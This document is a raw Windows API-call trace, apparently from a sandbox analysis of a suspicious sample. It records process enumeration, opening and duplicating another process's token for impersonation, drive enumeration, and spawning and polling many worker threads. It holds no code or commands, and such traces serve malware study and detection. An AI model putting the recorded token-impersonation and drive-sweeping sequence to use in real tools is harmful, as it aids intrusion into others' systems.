	[0072.899] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xe1f8) returned 0x4730008
	[0072.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.900] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xf21c) returned 0x4730008
	[0072.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.900] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x10240) returned 0x4730008
	[0072.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.900] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x11264) returned 0x4730008
	[0072.901] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.901] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x12288) returned 0x4730008
	[0072.901] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.901] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x132ac) returned 0x4730008
	[0072.901] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.902] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x142d0) returned 0x4730008
	[0072.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.902] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x152f4) returned 0x4730008
	[0072.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.902] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x16318) returned 0x4730008
	[0072.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.903] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1733c) returned 0x4730008
	[0072.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.903] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x18360) returned 0x4730008
	[0072.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.904] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x19384) returned 0x4730008
	[0072.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.904] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1a3a8) returned 0x4730008
	[0072.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.905] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1b3cc) returned 0x4730008
	[0072.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.905] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1c3f0) returned 0x4730008
	[0072.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.905] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1d414) returned 0x4730008
	[0072.906] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.906] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1e438) returned 0x4730008
	[0072.906] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.906] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1f45c) returned 0x4730008
	[0072.906] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.907] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x20480) returned 0x4730008
	[0072.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.907] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x214a4) returned 0x4730008
	[0072.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.908] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x224c8) returned 0x4730008
	[0072.908] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.908] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x234ec) returned 0x4730008
	[0072.908] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.909] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x24510) returned 0x4730008
	[0072.909] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0x0
	[0072.909] NtOpenProcess (in: ProcessHandle=0x272fa44, DesiredAccess=0x400, ObjectAttributes=0x272fa24*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa3c*(UniqueProcess=0x7d0, UniqueThread=0x0) | out: ProcessHandle=0x272fa44*=0x31c) returned 0x0
	[0072.909] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf, TokenHandle=0x272fa48 | out: TokenHandle=0x272fa48*=0x348) returned 0x0
	[0072.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x2d5b2a8
	[0072.909] GetTokenInformation (in: TokenHandle=0x348, TokenInformationClass=0x1, TokenInformation=0x2d5b2a8, TokenInformationLength=0x100, ReturnLength=0x272fa3c | out: TokenInformation=0x2d5b2a8, ReturnLength=0x272fa3c) returned 1
	[0072.910] ConvertSidToStringSidW () returned 0x1
	[0072.910] LocalFree (hMem=0x2d7a4b0) returned 0x0
	[0072.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0072.910] DuplicateTokenEx (in: hExistingToken=0x348, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x272fa40 | out: phNewToken=0x272fa40*=0x350) returned 1
	[0072.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d75dd0
	[0072.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d75de0
	[0072.910] NtClose (Handle=0x348) returned 0x0
	[0072.910] NtClose (Handle=0x31c) returned 0x0
	[0072.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0072.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0072.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d75dd0) returned 1
	[0072.910] RevertToSelf () returned 1
	[0072.910] SetErrorMode (uMode=0x8003) returned 0x0
	[0072.912] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5
	[0072.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc) returned 0x2d7a8d0
	[0072.912] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x2d7a8d0 | out: lpBuffer="C:\\") returned 0x4
	[0072.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8) returned 0x2d75dd0
	[0072.912] wcscpy (in: _Dest=0x2d75dd0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0072.912] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0072.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d75dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c
	[0072.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a8d0) returned 1
	[0072.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x27722f0, lpParameter=0x350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0072.914] Sleep (dwMilliseconds=0x3e8) 
	[0076.996] Sleep (dwMilliseconds=0x3e8) 

Thread:
	id = 4
	os_tid = 0xfa0


Thread:
	id = 5
	os_tid = 0xfd8


Thread:
	id = 21
	os_tid = 0xe5c

	[0070.259] Sleep (dwMilliseconds=0x1) 
	[0070.349] Sleep (dwMilliseconds=0x1) 
	[0070.529] Sleep (dwMilliseconds=0x1) 
	[0070.668] Sleep (dwMilliseconds=0x1) 
	[0070.857] Sleep (dwMilliseconds=0x1) 
	[0070.977] Sleep (dwMilliseconds=0x1) 
	[0071.131] Sleep (dwMilliseconds=0x1) 
	[0071.303] Sleep (dwMilliseconds=0x1) 
	[0071.534] Sleep (dwMilliseconds=0x1) 
	[0071.711] Sleep (dwMilliseconds=0x1) 
	[0071.852] Sleep (dwMilliseconds=0x1) 
	[0071.955] Sleep (dwMilliseconds=0x1) 
	[0072.066] Sleep (dwMilliseconds=0x1) 
	[0072.178] Sleep (dwMilliseconds=0x1) 
	[0072.400] Sleep (dwMilliseconds=0x1) 
	[0072.532] Sleep (dwMilliseconds=0x1) 
	[0072.673] Sleep (dwMilliseconds=0x1) 
	[0072.767] Sleep (dwMilliseconds=0x1) 
	[0072.880] Sleep (dwMilliseconds=0x1) 
	[0073.004] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102
	[0073.004] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x102
	[0073.004] Sleep (dwMilliseconds=0x1) 
	[0073.136] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x0
	[0073.136] CloseHandle (hObject=0x31c) returned 1
	[0073.136] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x0
	[0073.137] CloseHandle (hObject=0x348) returned 1
	[0073.138] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x0) returned 0x0
	[0073.138] CloseHandle (hObject=0x358) returned 1
	[0073.138] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x0) returned 0x0
	[0073.138] CloseHandle (hObject=0x35c) returned 1
	[0073.138] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0x0) returned 0x0
	[0073.138] CloseHandle (hObject=0x360) returned 1
	[0073.138] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x102
	[0073.138] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0x0) returned 0x0
	[0073.138] CloseHandle (hObject=0x368) returned 1
	[0073.138] WaitForSingleObject (hHandle=0x36c, dwMilliseconds=0x0) returned 0x0
	[0073.138] CloseHandle (hObject=0x36c) returned 1
	[0073.138] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0x0) returned 0x102
	[0073.138] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x0) returned 0x102
	[0073.138] WaitForSingleObject (hHandle=0x378, dwMilliseconds=0x0) returned 0x102
	[0073.138] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0x0) returned 0x102
	[0073.138] WaitForSingleObject (hHandle=0x380, dwMilliseconds=0x0) returned 0x102
	[0073.138] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0x0) returned 0x102
	[0073.138] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0x0) returned 0x102
	[0073.138] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3a4, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3b8, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3bc, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3c0, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3c8, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3d0, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3d4, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3d8, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3e0, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3e4, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0x0) returned 0x102
	[0073.139] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x41c, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x420, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x428, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x42c, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x0) returned 0x102
	[0073.140] WaitForSingleObject (hHandle=0x434, dwMilliseconds=0x0) returned 0x102
	[0073.140] Sleep (dwMilliseconds=0x1) 
	[0073.722] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0x0) returned 0x0
	[0073.722] CloseHandle (hObject=0x368) returned 1
	[0073.722] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0x0) returned 0x0
	[0073.722] CloseHandle (hObject=0x360) returned 1
	[0073.722] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x0) returned 0x0
	[0073.722] CloseHandle (hObject=0x35c) returned 1
	[0073.722] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x0) returned 0x0
	[0073.722] CloseHandle (hObject=0x358) returned 1
	[0073.722] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x348) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x364) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x31c) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x354) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0x0) returned 0x102
	[0073.723] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x374) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x378, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x378) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x37c) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x380, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x380) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x384) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x388) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x38c) returned 1
	[0073.723] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0x0) returned 0x0
	[0073.723] CloseHandle (hObject=0x390) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x394) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x398) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x39c) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x3a0) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x3a4, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x3a4) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x3a8) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x3ac) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x3b0) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x3b4) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x3b8, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x3b8) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x3bc, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x3bc) returned 1
	[0073.724] WaitForSingleObject (hHandle=0x3c0, dwMilliseconds=0x0) returned 0x0
	[0073.724] CloseHandle (hObject=0x3c0) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3c4) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3c8, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3c8) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3cc) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3d0, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3d0) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3d4, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3d4) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3d8, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3d8) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3dc) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3e0, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3e0) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3e4, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3e4) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3e8) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3ec) returned 1
	[0073.725] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0x0) returned 0x0
	[0073.725] CloseHandle (hObject=0x3f0) returned 1
	[0073.726] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x0
	[0073.726] CloseHandle (hObject=0x3f4) returned 1
	[0073.726] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0x0) returned 0x0
	[0073.726] CloseHandle (hObject=0x3f8) returned 1
	[0073.726] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x0
	[0073.726] CloseHandle (hObject=0x3fc) returned 1
	[0073.726] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x0
	[0073.726] CloseHandle (hObject=0x404) returned 1
	[0073.726] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x102
	[0073.726] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x0) returned 0x0
	[0073.726] CloseHandle (hObject=0x40c) returned 1
	[0073.726] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x0) returned 0x0
	[0073.726] CloseHandle (hObject=0x410) returned 1
	[0073.726] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102
	[0073.726] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102
	[0073.726] WaitForSingleObject (hHandle=0x41c, dwMilliseconds=0x0) returned 0x102
	[0073.726] WaitForSingleObject (hHandle=0x420, dwMilliseconds=0x0) returned 0x0
	[0073.726] CloseHandle (hObject=0x420) returned 1
	[0073.726] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x0) returned 0x102
	[0073.726] WaitForSingleObject (hHandle=0x428, dwMilliseconds=0x0) returned 0x102
	[0073.726] WaitForSingleObject (hHandle=0x42c, dwMilliseconds=0x0) returned 0x102
	[0073.726] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x0) returned 0x102
	[0073.726] WaitForSingleObject (hHandle=0x434, dwMilliseconds=0x0) returned 0x102
	[0073.726] WaitForSingleObject (hHandle=0x438, dwMilliseconds=0x0) returned 0x0
	[0073.727] CloseHandle (hObject=0x438) returned 1
	[0073.727] WaitForSingleObject (hHandle=0x43c, dwMilliseconds=0x0) returned 0x0
	[0073.727] CloseHandle (hObject=0x43c) returned 1
	[0073.727] WaitForSingleObject (hHandle=0x440, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x44c, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x450, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x454, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x45c, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x460, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x464, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x468, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x46c, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x470, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x474, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x478, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x47c, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x480, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x484, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x488, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x48c, dwMilliseconds=0x0) returned 0x102
	[0073.727] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x494, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4a4, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4ac, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4b4, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0x0) returned 0x102
